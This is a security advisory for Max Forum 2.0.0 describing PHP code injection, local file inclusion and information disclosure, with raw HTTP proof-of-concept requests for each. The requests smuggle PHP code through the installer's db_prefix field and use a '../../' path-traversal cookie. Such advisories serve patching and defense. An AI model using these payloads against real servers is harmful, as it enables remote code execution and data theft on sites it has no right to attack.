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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Max Forum is prone to multiple input-validation vulnerabilities including a PHP code-execution vulnerability, a local file-include vulnerability and an information-disclosure because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to inject arbitrary PHP code and include and execute arbitrary files from the vulnerable system in the context of the affected application and to obtain sensitive information that may aid in further attacks.

Max Forum 2.0.0 is vulnerable; other versions may also be affected. 

PHP code-execution:

POST /Max/install/install.php?step=4 HTTP/1.1
Host: www.example
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example/Max/install/install.php?step=3
Cookie: exp_lang=en; language=english; max_name=admin; max_password=2d6df19ab196f1c344310e0021239a06; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
mysql_host=www.example&mysql_login=root&mysql_pass=toor&mysql_database=max&db_prefix=max_%22%3Bphpinfo%28%29%3B%2F%2F&site_address=http%3A%2F%2Fwww.example%2FMax%2F&step=4&prev_step=3

Local file-include:

GET /Max/install/ HTTP/1.1
Host: www.example
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: language=../../phpinfo; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive

Information-disclosure:

GET /Max/index.php?forum=2 HTTP/1.1
Host: www.example
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: max_name=admin; max_password=dfbb72b7a33b97abda905a4af7e6c7f5; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97; lang=
Connection: keep-alive